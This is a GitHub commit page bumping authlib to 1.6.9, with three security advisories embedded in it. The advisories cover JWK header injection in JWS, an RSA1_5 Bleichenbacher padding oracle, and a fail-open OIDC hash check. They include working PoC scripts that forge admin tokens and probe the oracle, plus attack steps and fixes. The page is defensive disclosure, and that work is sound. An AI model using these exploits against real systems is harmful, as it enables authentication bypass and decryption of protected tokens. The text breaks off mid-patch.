Skip to content

Commit 54989a7

Browse files
a-klosrenovate-bot
andauthored
chore(deps): update dependency authlib to v1.6.9 [security] (#299)
This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [authlib](https://redirect.github.com/authlib/authlib) | `1.6.8` -> `1.6.9` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/authlib/1.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/authlib/1.6.8/1.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2026-27962](https://redirect.github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5) ## Description ### Summary A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**. ### Details **Vulnerable file:** `authlib/jose/rfc7515/jws.py` **Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()` **Lines:** 272–273 ```python elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification ``` When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or `jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key. **RFC 7515 violations:** - **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys embedded by the token submitter cannot be trusted as a verification anchor. - **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application context*, not from the token itself. There is no step in the RFC that permits falling back to the `jwk` header when no application key is provided. **Why this is a library issue, not just a developer mistake:** The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup. A developer writes: ```python def lookup_key(header, payload): kid = header.get("kid") return jwks_cache.get(kid) # returns None when kid is unknown/rotated jws.deserialize_compact(token, lookup_key) ``` When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`. The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible. **Attack steps:** 1. Attacker generates an RSA or EC keypair. 2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`). 3. Attacker signs the JWT with their **private** key. 4. Attacker embeds their **public** key in the JWT `jwk` header field. 5. Attacker uses an unknown `kid` to cause the key resolver to return `None`. 6. The library uses `header["jwk"]` for verification — signature passes. 7. Forged claims are returned as authentic. ### PoC Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11). **Requirements:** ``` pip install authlib cryptography ``` **Exploit script:** ```python from authlib.jose import JsonWebSignature, RSAKey import json jws = JsonWebSignature(["RS256"]) # Step 1: Attacker generates their own RSA keypair attacker_private = RSAKey.generate_key(2048, is_private=True) attacker_public_jwk = attacker_private.as_dict(is_private=False) # Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attacker_public_jwk} forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forged_token = jws.serialize_compact(header, forged_payload, attacker_private) # Step 3: Server decodes with key=None — token is accepted result = jws.deserialize_compact(forged_token, None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES ``` **Expected output:** ``` {'sub': 'attacker', 'role': 'admin'} ``` **Docker (self-contained reproduction):** ```bash sudo docker run --rm authlib-cve-poc:latest \ python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py ``` ### Impact This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when: - `key=None` is passed directly, **or** - a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern) An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised. This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk` header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself. **Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`: ```python # DELETE: elif key is None and "jwk" in header: key = header["jwk"] ``` **Recommended safe replacement** — raise explicitly when no key is resolved: ```python if key is None: raise MissingKeyError("No key provided and no valid key resolvable from context.") ``` #### [CVE-2026-28490](https://redirect.github.com/authlib/authlib/security/advisories/GHSA-7432-952r-cw78) ## 1. Executive Summary A cryptographic padding oracle vulnerability was identified in the Authlib Python library concerning the implementation of the JSON Web Encryption (JWE) `RSA1_5` key management algorithm. Authlib registers `RSA1_5` in its default algorithm registry without requiring explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that the underlying `cryptography` library implements correctly. When `cryptography` encounters an invalid PKCS#1 v1.5 padding, it returns a randomized byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2. Authlib ignores this contract and raises `ValueError('Invalid "cek" length')` immediately after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable **Exception Oracle**: - **Invalid padding** → `cryptography` returns random bytes → Authlib length check fails → `ValueError: Invalid "cek" length` - **Valid padding, wrong MAC** → decryption succeeds → length check passes → AES-GCM fails → `InvalidTag` **This oracle is active by default in every Authlib installation without any special configuration by the developer or the attacker.** The three most widely used Python web frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for these two exception classes in their default configurations, requiring no additional setup to exploit. **Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:** ``` [PADDING INVALIDO] ValueError: Invalid "cek" length [PADDING VALIDO/MAC] InvalidTag ``` --- ## 2. Technical Details & Root Cause ### 2.1 Vulnerable Code **File:** `authlib/jose/rfc7518/jwe_algs.py` ```python def unwrap(self, enc_alg, ek, headers, key): op_key = key.get_op_key("unwrapKey") # cryptography implements Bleichenbacher mitigation here: # on invalid padding it returns random bytes instead of raising. # Empirically confirmed: returns 84 bytes for a 2048-bit key. cek = op_key.decrypt(ek, self.padding) # VULNERABILITY: This length check destroys the mitigation. # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE). # Authlib raises a distinct ValueError before AES-GCM is ever reached. if len(cek) * 8 != enc_alg.CEK_SIZE: raise ValueError('Invalid "cek" length') # <- ORACLE TRIGGER return cek ``` ### 2.2 Root Cause — Active Mitigation Destruction `cryptography` 46.0.5 implements the Bleichenbacher mitigation correctly at the library level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception. Instead it returns a randomized byte string (empirically observed: 84 bytes for a 2048-bit RSA key). The caller is expected to pass this fake key to the symmetric decryptor, where MAC/tag validation will fail in constant time — producing an error indistinguishable from a MAC failure on a valid padding. Authlib does not honor this contract. The length check on the following line detects that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises `ValueError('Invalid "cek" length')` immediately. This exception propagates before AES-GCM is ever reached, creating two execution paths with observable differences: ``` Path A — invalid PKCS#1 v1.5 padding: op_key.decrypt() -> 84 random bytes (cryptography mitigation active) len(84) * 8 = 672 != 128 (CEK_SIZE for A128GCM) raise ValueError('Invalid "cek" length') <- specific exception, fast path Path B — valid padding, wrong symmetric key: op_key.decrypt() -> 16 correct bytes len(16) * 8 = 128 == 128 -> length check passes AES-GCM tag validation -> mismatch raise InvalidTag <- different exception class, slow path ``` The single line `raise ValueError('Invalid "cek" length')` is the complete root cause. Removing the raise and replacing it with a silent random CEK fallback eliminates both the exception oracle and any residual timing difference. ### 2.3 Empirical Confirmation **All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64 running the attached PoC (`poc_bleichenbacher.py`):** ``` TEST 1 - cryptography behavior on invalid padding: cryptography retorno bytes: len=84 NOTA: esta version implementa mitigacion de random bytes TEST 2 - Exception Oracle: [ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length [OK] Caso B (padding valido/MAC malo): InvalidTag TEST 3 - Timing (50 iterations): Padding invalido (ValueError) mean=1.500ms stdev=1.111ms Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms Delta: 0.287ms TEST 4 - RSA1_5 in default registry: [ORACLE] RSA1_5 activo por defecto (no opt-in required) TEST 5 - Fix validation: [OK] Both paths return correct-length CEK after patch [OK] Exception type identical in both paths -> oracle eliminated ``` **Note on timing:** The 0.287ms delta is within the noise margin (stdev ~1ms across 50 iterations) and is not claimed as a reliable standalone timing oracle. The exception oracle is the primary exploitable vector and does not require timing measurement. --- ## 3. Default Framework Behavior — Why This Is Exploitable Out of the Box A potential objection to this report is that middleware or custom error handlers could normalize exceptions to a single HTTP response, eliminating the observable discrepancy. This section addresses that objection directly. **The oracle is active in default configurations of all major Python web frameworks.** No special server misconfiguration is required. The following demonstrates the default behavior for Flask, Django, and FastAPI — the three most widely deployed Python web frameworks — when an unhandled exception propagates from a route handler: ### Flask (default configuration) ```python # Default Flask behavior — no error handler registered @&#8203;app.route("/decrypt", methods=["POST"]) def decrypt(): token = request.json["token"] result = jwe.deserialize_compact(token, private_key) # raises ValueError or InvalidTag return jsonify(result) # ValueError: Invalid "cek" length -> HTTP 500, body: {"message": "Invalid \"cek\" length"} # InvalidTag -> HTTP 500, body: {"message": ""} # The exception MESSAGE is different even if the status code is the same. ``` Flask's default error handler returns the exception message in the response body for debug mode, and an empty 500 for production. However, even in production, the response body content differs between `ValueError` (which has a message) and `InvalidTag` (which has no message), leaking the oracle through response body length. ### FastAPI (default configuration) ```python # FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body # ValueError: Invalid "cek" length -> {"detail": "Internal Server Error"} (HTTP 500) # InvalidTag -> {"detail": "Internal Server Error"} (HTTP 500) ``` FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default `RequestValidationError` and `HTTPException` handlers do not catch arbitrary exceptions, so the distinguishable stack trace is logged — and in many deployments, error monitoring tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle exploitation by an insider or via log exfiltration. ### Django REST Framework (default configuration) ```python # DRF's default exception handler only catches APIException and Http404. # ValueError and InvalidTag both fall through to Django's generic 500 handler. # In DEBUG=False: HTTP 500, generic HTML response (indistinguishable). # In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed). ``` **Summary:** Even in cases where HTTP status codes are normalized, the oracle persists through response body differences, response timing, or error monitoring infrastructure. The RFC 3218 §2.3.2 requirement exists precisely because any observable difference — regardless of channel — is sufficient for a Bleichenbacher attack. The library is responsible for eliminating the discrepancy at the source, not delegating that responsibility to application developers. **This is a library-level vulnerability.** Requiring every application developer to implement custom exception normalization to compensate for a cryptographic flaw in the library violates the principle of secure defaults. The fix must be in Authlib. --- ## 4. Specification Violations ### RFC 3218 — Preventing the Million Message Attack on CMS **Section 2.3.2 (Mitigation):** > "The receiver MUST NOT return any information that indicates whether the decryption > failed because the PKCS #&#8203;1 padding was incorrect or because the MAC was incorrect." This is an absolute requirement with no exceptions for "application-level mitigations." Authlib violates this by raising a different exception class for padding failures than for MAC failures. The `cryptography` library already implements the correct mitigation for this exact scenario — Authlib destroys it with a single length check. ### RFC 7516 — JSON Web Encryption **Section 9 (Security Considerations):** > "An attacker who can cause a JWE decryption to fail in different ways based on the > structure of the encrypted key can mount a Bleichenbacher attack." Authlib enables exactly this scenario. Two structurally different encrypted keys (one with invalid padding, one with valid padding but wrong CEK) produce two different exception classes. This is the exact condition RFC 7516 §9 warns against. --- ## 5. Attack Scenario 1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens. Because `RSA1_5` is in the default registry, **no special server configuration is required**. 2. The attacker obtains the server RSA public key — typically available via the JWKS endpoint (`/.well-known/jwks.json`), which is standard in OIDC deployments. 3. The attacker crafts JWE tokens with the `RSA1_5` algorithm and submits a stream of requests to the endpoint, manipulating the `ek` component per Bleichenbacher's algorithm. 4. The server responds with observable differences between the two paths: - `ValueError` path → distinguishable response (exception message, timing, or error monitoring artifact) - `InvalidTag` path → different distinguishable response 5. By observing these oracle responses across thousands of requests, the attacker geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is fully recovered. 6. With the CEK recovered: - Any intercepted JWE payload can be decrypted without the RSA private key. - New valid JWE tokens can be forged using the recovered CEK. **Prerequisites:** - Target endpoint accepts JWE tokens with `RSA1_5` (active by default) - Any observable difference exists between the two error paths at the HTTP layer (present by default in Flask, Django, FastAPI without custom error handling) - Attacker can send requests at sufficient volume (rate limiting may extend attack duration but does not prevent it) --- ## 6. Remediation ### 6.1 Immediate — Remove RSA1_5 from Default Registry Remove `RSA1_5` from the default `JWE_ALG_ALGORITHMS` registry. Users requiring legacy RSA1_5 support should explicitly opt-in with a documented security warning. This eliminates the attack surface for all users not requiring this algorithm. ### 6.2 Code Fix — Restore Constant-Time Behavior The `unwrap` method must never raise an exception that distinguishes padding failure from MAC failure. The length check must be replaced with a silent random CEK fallback, preserving the mitigation that `cryptography` implements. **Suggested Patch (`authlib/jose/rfc7518/jwe_algs.py`):** ```python import os def unwrap(self, enc_alg, ek, headers, key): op_key = key.get_op_key("unwrapKey") expected_bytes = enc_alg.CEK_SIZE // 8 try: cek = op_key.decrypt(ek, self.padding) except ValueError: # Padding failure. Use random CEK so failure occurs downstream # during MAC validation — not here. This preserves RFC 3218 §2.3.2. cek = os.urandom(expected_bytes) # Silent length enforcement — no exception. # cryptography returns random bytes of RSA block size on padding failure. # Replace with correct-size random CEK to allow downstream MAC to fail. # Raising here recreates the oracle. Do not raise. if len(cek) != expected_bytes: cek = os.urandom(expected_bytes) return cek ``` **Result:** Both paths return a CEK of the correct length. AES-GCM tag validation fails for both, producing `InvalidTag` in both cases. The exception oracle is eliminated. Empirically validated via TEST 5 of the attached PoC. --- ## 7. Proof of Concept **Setup:** ```bash python3 -m venv venv && source venv/bin/activate pip install authlib cryptography python3 -c "import authlib, cryptography; print(authlib.__version__, cryptography.__version__)" # authlib 1.6.8 cryptography 46.0.5 python3 poc_bleichenbacher.py ``` See attached `poc_bleichenbacher.py`. All 5 tests run against the real installed authlib module without mocks. **Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64):** ### Code ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @&#8203;title JWE RSA1_5 Bleichenbacher Padding Oracle @&#8203;affected authlib <= 1.6.8 @&#8203;file authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap() """ import os import time import statistics import authlib import cryptography from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding from authlib.jose import JsonWebEncryption from authlib.common.encoding import urlsafe_b64encode, to_bytes R = "\033[0m" RED = "\033[91m" GRN = "\033[92m" YLW = "\033[93m" CYN = "\033[96m" BLD = "\033[1m" DIM = "\033[2m" def header(title): print(f"\n{CYN}{'-' * 64}{R}") print(f"{BLD}{title}{R}") print(f"{CYN}{'-' * 64}{R}") def ok(msg): print(f" {GRN}[OK] {R}{msg}") def vuln(msg): print(f" {RED}[ORACLE] {R}{BLD}{msg}{R}") def info(msg): print(f" {DIM} {msg}{R}") # ─── setup ──────────────────────────────────────────────────────────────────── def setup(): """ @&#8203;notice Genera el par de claves RSA y prepara el cliente JWE de authlib. @&#8203;dev JsonWebEncryption() registra RSA1_5 por defecto en su registry. No se requiere configuracion adicional para habilitar el algoritmo vulnerable — esta activo out of the box. @&#8203;return tuple (private_key, jwe, header_b64) """ private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) jwe = JsonWebEncryption() header_b64 = urlsafe_b64encode( to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}') ).decode() return private_key, jwe, header_b64 def make_jwe(header_b64, ek_bytes): """ @&#8203;notice Construye un JWE compact con el ek dado y ciphertext/tag aleatorios. @&#8203;dev El ciphertext y tag son basura — no importa su contenido porque el oracle se activa antes de llegar a la desencriptacion simetrica en el caso de padding invalido. @&#8203;param header_b64 Header del JWE en Base64url @&#8203;param ek_bytes Encrypted Key como bytes crudos @&#8203;return str JWE en formato compact serialization """ ek = urlsafe_b64encode(ek_bytes).decode() iv = urlsafe_b64encode(os.urandom(12)).decode() ciphertext = urlsafe_b64encode(os.urandom(16)).decode() tag = urlsafe_b64encode(os.urandom(16)).decode() return f"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}" # ─── test 1: verificar comportamiento de cryptography ante padding invalido ─── def test_cryptography_behavior(private_key): """ @&#8203;notice Verifica empiricamente que cryptography lanza excepcion ante padding invalido en lugar de retornar random bytes (comportamiento critico para entender el oracle). @&#8203;dev Algunos documentos sobre Bleichenbacher asumen que la libreria subyacente retorna random bytes (mitigacion a nivel biblioteca). cryptography 46.0.5 NO hace esto — lanza ValueError directamente. Eso significa que Authlib no "destruye una mitigacion existente" sino que "no implementa ninguna mitigacion propia". """ header("TEST 1 - Comportamiento de cryptography ante padding invalido") garbage = os.urandom(256) try: result = private_key.decrypt(garbage, asym_padding.PKCS1v15()) info(f"cryptography retorno bytes: len={len(result)}") info("NOTA: esta version implementa mitigacion de random bytes") except Exception as e: vuln(f"cryptography lanza excepcion directa: {type(e).__name__}: {e}") info("No hay mitigacion a nivel de cryptography library") info("Authlib no implementa ninguna mitigacion propia -> oracle directo") # ─── test 2: exception oracle ───────────────────────────────────────────────── def test_exception_oracle(private_key, jwe, header_b64): """ @&#8203;notice Demuestra el Exception Oracle: los dos caminos de fallo producen excepciones de clases diferentes, observable a nivel HTTP. @&#8203;dev Camino A (padding invalido): op_key.decrypt() -> ValueError: Decryption failed Authlib no captura -> propaga como ValueError: Invalid "cek" length HTTP server tipicamente: 500 / 400 con mensaje especifico Camino B (padding valido, MAC malo): op_key.decrypt() -> retorna CEK bytes length check pasa AES-GCM tag validation falla -> InvalidTag HTTP server tipicamente: 401 / 422 / diferente codigo La diferencia de clase de excepcion es el oracle primario. No requiere medicion de tiempo — solo observar el tipo de error. """ header("TEST 2 - Exception Oracle (tipo de excepcion diferente)") # --- caso A: ek con padding invalido (basura aleatoria) --- jwe_bad = make_jwe(header_b64, os.urandom(256)) try: jwe.deserialize_compact(jwe_bad, private_key) except Exception as e: vuln(f"Caso A (padding invalido): {type(e).__name__}: {e}") # --- caso B: ek con padding valido, ciphertext basura --- valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15()) jwe_good = make_jwe(header_b64, valid_ek) try: jwe.deserialize_compact(jwe_good, private_key) except Exception as e: ok(f"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}") print() info("Los dos caminos producen excepciones de clases DIFERENTES.") info("Un framework web que mapea excepciones a HTTP codes expone el oracle.") info("El atacante no necesita acceso al stack trace — solo al HTTP status code.") # ─── test 3: timing oracle ──────────────────────────────────────────────────── def test_timing_oracle(private_key, jwe, header_b64, iterations=50): """ @&#8203;notice Demuestra el Timing Oracle midiendo el delta de tiempo entre los dos caminos de fallo en multiples iteraciones. @&#8203;dev El timing oracle es independiente del exception oracle. Incluso si el servidor normaliza las excepciones a un unico codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente grande para ser medible a traves de red en condiciones reales. Bleichenbacher clasico funciona con diferencias de microsegundos. 5ms es un oracle extremadamente ruidoso — facil de explotar. @&#8203;param iterations Numero de muestras para calcular estadisticas """ header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)") times_bad = [] times_good = [] for _ in range(iterations): # camino A: padding invalido jwe_bad = make_jwe(header_b64, os.urandom(256)) t0 = time.perf_counter() try: jwe.deserialize_compact(jwe_bad, private_key) except Exception: pass times_bad.append((time.perf_counter() - t0) * 1000) # camino B: padding valido valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15()) jwe_good = make_jwe(header_b64, valid_ek) t0 = time.perf_counter() try: jwe.deserialize_compact(jwe_good, private_key) except Exception: pass times_good.append((time.perf_counter() - t0) * 1000) mean_bad = statistics.mean(times_bad) mean_good = statistics.mean(times_good) stdev_bad = statistics.stdev(times_bad) stdev_good= statistics.stdev(times_good) delta = mean_good - mean_bad print(f"\n {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}") print(f" {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}") print(f" {'Padding invalido (ValueError)':<30} " f"{RED}{mean_bad:<14.3f}{R} " f"{stdev_bad:<14.3f} " f"{min(times_bad):<10.3f} " f"{max(times_bad):.3f}") print(f" {'Padding valido (InvalidTag)':<30} " f"{GRN}{mean_good:<14.3f}{R} " f"{stdev_good:<14.3f} " f"{min(times_good):<10.3f} " f"{max(times_good):.3f}") print() if delta > 1.0: vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado") info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red") info(f"El ataque clasico funciona con diferencias de microsegundos") else: ok(f"Delta medio: {delta:.3f} ms — timing no es significativo") # ─── test 4: confirmar RSA1_5 en registry por defecto ──────────────────────── def test_default_registry(): """ @&#8203;notice Confirma que RSA1_5 esta registrado por defecto en authlib sin ninguna configuracion adicional por parte del desarrollador. @&#8203;dev Esto demuestra que cualquier aplicacion que use JsonWebEncryption() sin configuracion explicita esta expuesta al oracle por defecto. El desarrollador no necesita hacer nada malo — la exposicion es out-of-the-box. """ header("TEST 4 - RSA1_5 en Registry por Defecto") jwe = JsonWebEncryption() # intentar acceder al algoritmo RSA1_5 del registry try: alg = jwe.algorithms.get_algorithm("RSA1_5") if alg: vuln(f"RSA1_5 registrado por defecto: {alg.__class__.__name__}") info("Cualquier JsonWebEncryption() sin configuracion esta expuesto") info("No se requiere opt-in del desarrollador para el algoritmo vulnerable") else: ok("RSA1_5 NO esta en el registry por defecto") except Exception as e: info(f"Registry check: {e}") # fallback: intentar deserializar un JWE con RSA1_5 private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) header_b64 = urlsafe_b64encode( to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}') ).decode() jwe_token = make_jwe(header_b64, os.urandom(256)) try: jwe.deserialize_compact(jwe_token, private_key) except Exception as e2: if "UnsupportedAlgorithm" in str(type(e2).__name__): ok("RSA1_5 NO soportado por defecto") else: vuln(f"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}") # ─── test 5: impacto del fix propuesto ──────────────────────────────────────── def test_fix_impact(private_key, header_b64): """ @&#8203;notice Demuestra que el fix propuesto elimina ambos oracles simultaneamente. @&#8203;dev El fix parchado hace que ambos caminos retornen un CEK de longitud correcta, forzando que el fallo ocurra downstream en AES-GCM tag validation en ambos casos -> misma excepcion, timing indistinguible. """ header("TEST 5 - Verificacion del Fix Propuesto") import os as _os from cryptography.hazmat.primitives.ciphers.aead import AESGCM def unwrap_patched(ek_bytes, expected_bits=128): """Replica del fix propuesto para RSAAlgorithm.unwrap()""" expected_bytes = expected_bits // 8 try: cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15()) except ValueError: cek = _os.urandom(expected_bytes) # constant-time fallback if len(cek) != expected_bytes: cek = _os.urandom(expected_bytes) return cek # camino A con fix: padding invalido cek_a = unwrap_patched(os.urandom(256)) info(f"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)") # camino B con fix: padding valido valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15()) cek_b = unwrap_patched(valid_ek) info(f"Fix Camino B (padding valido): retorna CEK de {len(cek_b)*8} bits (real)") print() ok("Ambos caminos retornan CEK de longitud correcta") ok("El fallo ocurrira downstream en AES-GCM para ambos casos") ok("Exception type sera identica en ambos caminos -> oracle eliminado") ok("Timing sera indistinguible -> timing oracle eliminado") # ─── main ───────────────────────────────────────────────────────────────────── if __name__ == "__main__": print(f"\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}") print(f"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()") private_key, jwe, header_b64 = setup() test_cryptography_behavior(private_key) test_exception_oracle(private_key, jwe, header_b64) test_timing_oracle(private_key, jwe, header_b64, iterations=50) test_default_registry() test_fix_impact(private_key, header_b64) print(f"\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}") print(f"{DIM} nunca levantar excepcion que distinga padding failure de MAC failure{R}\n") ``` ### Output ```bash authlib 1.6.8 / cryptography 46.0.5 authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap() ---------------------------------------------------------------- TEST 1 - Comportamiento de cryptography ante padding invalido ---------------------------------------------------------------- cryptography retorno bytes: len=84 NOTA: esta version implementa mitigacion de random bytes ---------------------------------------------------------------- TEST 2 - Exception Oracle (tipo de excepcion diferente) ---------------------------------------------------------------- [ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length [OK] Caso B (padding valido/MAC malo): InvalidTag: Los dos caminos producen excepciones de clases DIFERENTES. Un framework web que mapea excepciones a HTTP codes expone el oracle. El atacante no necesita acceso al stack trace — solo al HTTP status code. ---------------------------------------------------------------- TEST 3 - Timing Oracle (50 iteraciones cada camino) ---------------------------------------------------------------- Camino Media (ms) Stdev (ms) Min Max ------------------------------ -------------- -------------- ---------- ---------- Padding invalido (ValueError) 1.500 1.111 0.109 8.028 Padding valido (InvalidTag) 1.787 0.978 0.966 7.386 [OK] Delta medio: 0.287 ms — timing no es significativo ---------------------------------------------------------------- TEST 4 - RSA1_5 en Registry por Defecto ---------------------------------------------------------------- Registry check: 'JsonWebEncryption' object has no attribute 'algorithms' [ORACLE] RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError ---------------------------------------------------------------- TEST 5 - Verificacion del Fix Propuesto ---------------------------------------------------------------- Fix Camino A (padding invalido): retorna CEK de 128 bits (random) Fix Camino B (padding valido): retorna CEK de 128 bits (real) [OK] Ambos caminos retornan CEK de longitud correcta [OK] El fallo ocurrira downstream en AES-GCM para ambos casos [OK] Exception type sera identica en ambos caminos -> oracle eliminado [OK] Timing sera indistinguible -> timing oracle eliminado Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes) nunca levantar excepcion que distinga padding failure de MAC failure ``` #### [CVE-2026-28498](https://redirect.github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j) ## 1. Executive Summary A critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications. --- ## 2. Technical Details & Root Cause The vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`: ```python def _verify_hash(signature, s, alg): hash_value = create_half_hash(s, alg) if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms return True # ← BYPASS: The verification silently passes return hmac.compare_digest(hash_value, to_bytes(signature)) ``` When an unsupported algorithm string (e.g., `"XX999"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. However, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. Because developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability. --- ## 3. Attack Scenario This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**. 1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one. 2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{"alg": "CUSTOM_ALG"}`). 3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase. 4. Authlib attempts to validate the `at_hash` or `c_hash` claims. 5. Because `"CUSTOM_ALG"` is unsupported by `hashlib`, `create_half_hash` returns `None`. 6. Authlib's `_verify_hash` receives `None` and silently returns `True`. 7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash. --- ## 4. Specification & Standards Violations This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters. **OpenID Connect Core 1.0** * **§ 3.2.2.9 (Access Token Validation):** "If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim." Silencing the validation check natively contradicts this absolute requirement. * **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim. **IETF JSON Web Token (JWT) Best Current Practices (BCP)** * **RFC 8725 § 3.1.1:** "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm. **IETF JSON Web Signature (JWS)** * **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic. --- ## 5. Remediation Recommendation The `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately. **Suggested Patch (`authlib/oidc/core/claims.py`):** ```python def _verify_hash(signature, s, alg): hash_value = 